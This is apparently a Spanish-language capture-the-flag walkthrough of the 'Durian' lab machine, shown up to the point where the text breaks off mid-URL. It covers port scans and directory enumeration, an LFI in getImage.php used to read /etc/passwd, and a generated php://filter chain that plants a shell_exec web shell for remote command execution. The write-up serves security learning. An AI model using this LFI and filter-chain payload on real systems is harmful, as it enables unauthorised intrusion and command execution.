Escaneo de puertos

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 13:36 EDT
Nmap scan report for 192.168.5.177
Host is up (0.00038s latency).

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 28:1c:64:fa:9c:c3:d2:d4:bb:76:3d:3b:10:e2:b1:25 (RSA)
|   256 da:b2:e1:7f:7c:1b:58:cf:fd:4f:74:e9:23:6d:51:d7 (ECDSA)
|_  256 41:e1:0c:2b:d4:26:e8:d3:71:bb:9d:f9:61:56:63:c0 (ED25519)
80/tcp   open  http          Apache httpd 2.4.38 ((Debian))
|_http-title: Durian
|_http-server-header: Apache/2.4.38 (Debian)
7080/tcp open  ssl/empowerid LiteSpeed
|_ssl-date: TLS randomness does not represent time
|_http-server-header: LiteSpeed
| tls-alpn:
|   h2
|   spdy/3
|   spdy/2
|_  http/1.1
|_http-title: Did not follow redirect to https://192.168.5.177:7080/login.php
| ssl-cert: Subject:
commonName=durian/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryN
ame=US
| Not valid before: 2020-09-08T02:05:32
|_Not valid after:  2022-12-07T02:05:32
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.0 302 Found
|     x-powered-by: PHP/5.6.36
|     x-frame-options: SAMEORIGIN
|     x-xss-protection: 1;mode=block
|     referrer-policy: same-origin
|     x-content-type-options: nosniff
|     set-cookie: LSUI37FE0C43B84483E0=a7bde4e7fd792e0ada2e3cf48c30366f; path=/;
secure; HttpOnly
|     expires: Thu, 19 Nov 1981 08:52:00 GMT
|     cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|     pragma: no-cache
|     set-cookie: LSID37FE0C43B84483E0=deleted; expires=Thu, 01-Jan-1970 00:00:01
GMT; Max-Age=0; path=/
|     set-cookie: LSPA37FE0C43B84483E0=deleted; expires=Thu, 01-Jan-1970 00:00:01
GMT; Max-Age=0; path=/
|     set-cookie: LSUI37FE0C43B84483E0=deleted; expires=Thu, 01-Jan-1970 00:00:01
GMT; Max-Age=0; path=/
|     location: /login.php
```

```
|     content-type: text/html; charset=UTF-8
|     content-length: 0
|     date: Sun, 09 Jun 2024 17:36:54 GMT
|     server: LiteSpeed
|     alt-svc: quic=":7080"; ma=2592000; v="43,46", h3-Q043=":7080";
|   HTTPOptions:
|     HTTP/1.0 302 Found
|     x-powered-by: PHP/5.6.36
|     x-frame-options: SAMEORIGIN
|     x-xss-protection: 1;mode=block
|     referrer-policy: same-origin
|     x-content-type-options: nosniff
|     set-cookie: LSUI37FE0C43B84483E0=cd74de731bb865489f3b69f7a7af8ab8; path=/;
secure; HttpOnly
|     expires: Thu, 19 Nov 1981 08:52:00 GMT
|     cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|     pragma: no-cache
|     set-cookie: LSID37FE0C43B84483E0=deleted; expires=Thu, 01-Jan-1970 00:00:01
GMT; Max-Age=0; path=/
|     set-cookie: LSPA37FE0C43B84483E0=deleted; expires=Thu, 01-Jan-1970 00:00:01
GMT; Max-Age=0; path=/
|     set-cookie: LSUI37FE0C43B84483E0=deleted; expires=Thu, 01-Jan-1970 00:00:01
GMT; Max-Age=0; path=/
|     location: /login.php
|     content-type: text/html; charset=UTF-8
|     content-length: 0
|     date: Sun, 09 Jun 2024 17:36:54 GMT
|     server: LiteSpeed
|_    alt-svc: quic=":7080"; ma=2592000; v="43,46", h3-Q043=":7080";
8088/tcp open  radan-http    LiteSpeed
|_http-server-header: LiteSpeed
|_http-title: Durian
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.0 200 OK
|     etag: "2fd-5f56ea13-40590;;;"
|     last-modified: Tue, 08 Sep 2020 02:18:59 GMT
|     content-type: text/html
|     content-length: 765
|     accept-ranges: bytes
|     date: Sun, 09 Jun 2024 17:36:38 GMT
|     server: LiteSpeed
|     connection: close
|     <html>
|     <body bgcolor="white">
|     <head>
|     <title>Durian</title>
|     <meta name="description" content="We Are Still Alive!">
|     <meta name="keywords" content="Hacked by Ind_C0d3r">
|     <meta name="robots" content="index, follow">
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="language" content="English">
|     </head>
|     <link
href="https://fonts.googleapis.com/css?family=Righteous|Saira+Stencil+One&display=swa
```

```
p" rel="stylesheet">
|     <style type="text/css">
|     @font-face {
|     font-family: 'Righteous', cursive;
|     font-family: 'Saira Stencil One', cursive;
|     </style>
|     <center><br><br>
|     <img src="https://www.producemarketguide.com/sites/default/files/Commoditi
|   Socks5:
|     HTTP/1.1 400 Bad Request
|     content-type: text/html
|     cache-control: private, no-cache, max-age=0
|     pragma: no-cache
|     content-length: 1209
|     date: Sun, 09 Jun 2024 17:36:38 GMT
|     server: LiteSpeed
|     connection: close
|     <!DOCTYPE html>
|     <html style="height:100%">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-
fit=no">
|     <title> 400 Bad Request
|     </title></head>
|     <body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica,
sans-serif; height:100%; background-color: #fff;">
|     <div style="height:auto; min-height:100%; "> <div style="text-align: center;
width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">
|     style="margin:0; font-size:150px; line-height:150px; font-
weight:bold;">400</h1>
|     style="margin-top:20px;font-size: 30px;">Bad Request
|     </h2>
|     <p>It is not a valid request!</p>
|_    </div></div><div style="color:#f0f0
2 services unrecognized despite returning data. If you know the service/version,
please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-
service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port7080-TCP:V=7.94SVN%T=SSL%I=7%D=6/9%Time=6665E836%P=x86_64-pc-linux-
SF:gnu%r(GetRequest,430,"HTTP/1.0\x20302\x20Found\r\nx-powered-by:\x20PHP
SF:/5.6.36\r\nx-frame-options:\x20SAMEORIGIN\r\nx-xss-protection:\x201;m
SF:ode=block\r\nreferrer-policy:\x20same-origin\r\nx-content-type-options:
SF:\x20nosniff\r\nset-cookie:\x20LSUI37FE0C43B84483E0=a7bde4e7fd792e0ada2e
SF:3cf48c30366f;\x20path=/;\x20secure;\x20HttpOnly\r\nexpires:\x20Thu,\x20
SF:19\x20Nov\x201981\x2008:52:00\x20GMT\r\ncache-control:\x20no-store,\x20
SF:no-cache,\x20must-revalidate,\x20post-check=0,\x20pre-check=0\r\npragma
SF::\x20no-cache\r\nset-cookie:\x20LSID37FE0C43B84483E0=deleted;\x20expire
SF:s=Thu,\x2001-Jan-1970\x2000:00:01\x20GMT;\x20Max-Age=0;\x20path=/\r\nse
SF:t-cookie:\x20LSPA37FE0C43B84483E0=deleted;\x20expires=Thu,\x2001-Jan-19
SF:70\x2000:00:01\x20GMT;\x20Max-Age=0;\x20path=/\r\nset-cookie:\x20LSUI37
SF:FE0C43B84483E0=deleted;\x20expires=Thu,\x2001-Jan-1970\x2000:00:01\x20G
SF:MT;\x20Max-Age=0;\x20path=/\r\nlocation:\x20/login.php\r\ncontent-type
SF::\x20text/html;\x20charset=UTF-8\r\ncontent-length:\x200\r\ndate:\x20Su
SF:n,\x2009\x20Jun\x202024\x2017:36:54\x20GMT\r\nserver:\x20LiteSpeed\r\na
SF:lt-svc:\x20quic=":7080";\x20ma=2592000;\x20v="43,46",\x20h3-Q043="
```

```
SF::7080";\x20")%r(HTTPOptions,430,"HTTP/1.0\x20302\x20Found\r\nx-powere
SF:d-by:\x20PHP/5.6.36\r\nx-frame-options:\x20SAMEORIGIN\r\nx-xss-protec
SF:tion:\x201;mode=block\r\nreferrer-policy:\x20same-origin\r\nx-content-t
SF:ype-options:\x20nosniff\r\nset-cookie:\x20LSUI37FE0C43B84483E0=cd74de73
SF:1bb865489f3b69f7a7af8ab8;\x20path=/;\x20secure;\x20HttpOnly\r\nexpires:
SF:\x20Thu,\x2019\x20Nov\x201981\x2008:52:00\x20GMT\r\ncache-control:\x20n
SF:o-store,\x20no-cache,\x20must-revalidate,\x20post-check=0,\x20pre-check
SF:=0\r\npragma:\x20no-cache\r\nset-cookie:\x20LSID37FE0C43B84483E0=delete
SF:d;\x20expires=Thu,\x2001-Jan-1970\x2000:00:01\x20GMT;\x20Max-Age=0;\x20
SF:path=/\r\nset-cookie:\x20LSPA37FE0C43B84483E0=deleted;\x20expires=Thu,\
SF:x2001-Jan-1970\x2000:00:01\x20GMT;\x20Max-Age=0;\x20path=/\r\nset-cooki
SF:e:\x20LSUI37FE0C43B84483E0=deleted;\x20expires=Thu,\x2001-Jan-1970\x200
SF:0:00:01\x20GMT;\x20Max-Age=0;\x20path=/\r\nlocation:\x20/login.php\r\n
SF:content-type:\x20text/html;\x20charset=UTF-8\r\ncontent-length:\x200\r\
SF:ndate:\x20Sun,\x2009\x20Jun\x202024\x2017:36:54\x20GMT\r\nserver:\x20Li
SF:teSpeed\r\nalt-svc:\x20quic=":7080";\x20ma=2592000;\x20v="43,46",\x
SF:20h3-Q043=":7080";\x20");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8088-TCP:V=7.94SVN%I=7%D=6/9%Time=6665E826%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,3EC,"HTTP/1.0\x20200\x20OK\r\netag:\x20"2fd-5f56ea13-40590
SF:;;;"\r\nlast-modified:\x20Tue,\x2008\x20Sep\x202020\x2002:18:59\x20GMT
SF:\r\ncontent-type:\x20text/html\r\ncontent-length:\x20765\r\naccept-rang
SF:es:\x20bytes\r\ndate:\x20Sun,\x2009\x20Jun\x202024\x2017:36:38\x20GMT\r
SF:\nserver:\x20LiteSpeed\r\nconnection:\x20close\r\n\r\n<html>\n<body\x20
SF:bgcolor="white">\n<head>\n<title>Durian</title>\n<meta\x20name="desc
SF:ription"\x20content="We\x20Are\x20Still\x20Alive!">\n<meta\x20name=\
SF:"keywords"\x20content="Hacked\x20by\x20Ind_C0d3r">\n<meta\x20name="
SF:robots"\x20content="index,\x20follow">\n<meta\x20http-equiv="Conten
SF:t-Type"\x20content="text/html;\x20charset=utf-8">\n<meta\x20name="l
SF:anguage"\x20content="English">\n</head>\n<link\x20href="https://fon
SF:ts.googleapis.com/css?family=Righteous|Saira+Stencil+One&display=
SF:swap"\x20rel="stylesheet">\n<style\x20type="text/css">\n@font-face
SF:\x20{\n\tfont-family:\x20'Righteous',\x20cursive;\n\tfont-family:\x20'S
SF:aira\x20Stencil\x20One',\x20cursive;\n}\n</style>\n<center><br><br>\n<i
SF:mg\x20src="https://www.producemarketguide.com/sites/default/files/Co
SF:mmoditi")%r(Socks5,58E,"HTTP/1.1\x20400\x20Bad\x20Request\r\ncontent-t
SF:ype:\x20text/html\r\ncache-control:\x20private,\x20no-cache,\x20max-age
SF:=0\r\npragma:\x20no-cache\r\ncontent-length:\x201209\r\ndate:\x20Sun,\x
SF:2009\x20Jun\x202024\x2017:36:38\x20GMT\r\nserver:\x20LiteSpeed\r\nconne
SF:ction:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20style="height:100%
SF:">\n<head>\n<meta\x20name="viewport"\x20content="width=device-width
SF:,\x20initial-scale=1,\x20shrink-to-fit=no">\n<title>\x20400\x20Bad\x20
SF:Request\r\n</title></head>\n<body\x20style="color:\x20#444;\x20margin:
SF:0;font:\x20normal\x2014px/20px\x20Arial,\x20Helvetica,\x20sans-serif;\x
SF:20height:100%;\x20background-color:\x20#fff;">\n<div\x20style="height
SF::auto;\x20min-height:100%;\x20">\x20\x20\x20\x20\x20<div\x20style="te
SF:xt-align:\x20center;\x20width:800px;\x20margin-left:\x20-400px;\x20posi
SF:tion:absolute;\x20top:\x2030%;\x20left:50%;">\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20<h1\x20style="margin:0;\x20font-size:150px;\x20line-height:15
SF:0px;\x20font-weight:bold;">400</h1>\n<h2\x20style="margin-top:20px;fo
SF:nt-size:\x2030px;">Bad\x20Request\r\n</h2>\n<p>It\x20is\x20not\x20a\x2
SF:0valid\x20request!</p>\n</div></div><div\x20style="color:#f0f0");
MAC Address: 00:0C:29:39:12:EA (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.20 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.177/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.html       (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/blog                 (Status: 200) [Size: 55041]
/cgi-data             (Status: 200) [Size: 951]
/index.html           (Status: 200) [Size: 765]
/server-status        (Status: 403) [Size: 278]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Vemos que hay un directorio llamado `/blog` bastante interesante, si vamos hay no nos llega a cargar muy bien, por lo que tendremos que tocar en algun momento el `/etc/hosts`...

Nikto

```
nikto -h http://<IP>
```

Info:

```
- Nikto v2.5.0
```

+ Target IP: 192.168.5.177

+ Target Hostname: 192.168.5.177
+ Target Port: 80
+ Start Time: 2024-06-09 13:45:24 (GMT-4)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2fd, size: 5aec41d8e5081, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /blog/wp-login.php: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /blog/wp-login.php: Wordpress login found.
+ 8103 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2024-06-09 13:45:55 (GMT-4) (31 seconds)

+ 1 host(s) tested

```
Vemos que hay un ``Wordpress`` por lo que ya sabremos por donde tirar, pero antes tendremos que descubrir el dominio que utiliza...

Pero por mucha busqueda es imposible, por lo que tiraremos por otros sitios, como por ejemplo...
```

URL = http://<IP>/cgi-data/getImage.php

```
Vemos que hay un ``.php`` dentro de ese directorio y que si lo inspeccionamos...
```

```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
/*
</?php include $_GET['file']; */
</body>
</html>
```

```
Por lo que vemos tenemos la opcion de leer con ese parametro llamado ``file``, por lo que haremos lo siguiente...
```

http://<IP>/cgi-data/getImage.php?file=/etc/passwd

```
Info:
```

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin durian:x:1000:1000:durian,,,:/home/durian:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin lsadm:x:998:1001::/:/sbin/nologin mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false

```
Por lo que haremos una tecnica llamada ``LFI (Local File Inclusion) Utilizando Wrappers``...

Nos descargamos en un repositorio de GitHub un script de ``python`` que nos ayudara a crear lo que queramos poner en la ``URL``...

URL = https://github.com/synacktiv/php_filter_chain_generator
```

Una vez nos descargamos el ``.py`` lo ejecutaremos de la siguiente manera...

```shell
python3 <PYTHON_FILE>.py --chain '<?php echo shell_exec($_GET["cmd"]);?>'
```

Info:

```
[+] The following gadget chain will generate the following code : <?php echo
shell_exec($_GET["cmd"]);?> (base64 value:
PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWyJjbWQiXSk7Pz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN
5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-
103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-
9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4
|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO202
2KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
```

```
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-
16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-
AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-
32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-
32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UH
C.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-
32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
```

```
16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-
8|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JIS
X0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT
_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|conve
rt.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp
```

Aqui lo que estamos creando es un parametro llamado `cmd` en el que podamos ejecutar comandos...

```
URL = http://<IP>/cgi-
data/getImage.php?cmd=whoami&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert
.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN
5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-
103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-
9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
